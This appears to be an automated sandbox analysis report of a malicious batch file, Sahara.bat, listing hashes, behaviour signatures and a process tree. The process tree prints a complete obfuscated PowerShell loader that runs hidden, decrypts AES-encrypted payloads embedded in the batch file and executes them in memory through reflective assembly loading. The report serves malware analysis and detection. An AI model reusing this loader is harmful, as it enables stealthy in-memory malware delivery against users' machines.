Analysis
- max time kernel
119s - max time network
120s - platform
windows7_x64 - resource
win7-20240419-en - resource tags
- submitted
07/06/2024, 09:09
General
- Target Sahara.bat
- Size 304KB
- Sample240607-k4fz2afa92
- SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Sahara.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Sahara.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Sahara.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3016-4-0x000007FEF625E000-0x000007FEF625F000-memory.dmp
memory/3016-5-0x000000001B750000-0x000000001BA32000-memory.dmp
memory/3016-7-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp
memory/3016-8-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp
memory/3016-6-0x0000000001D20000-0x0000000001D28000-memory.dmp
memory/3016-9-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp
memory/3016-10-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp
memory/3016-11-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp
memory/3016-12-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp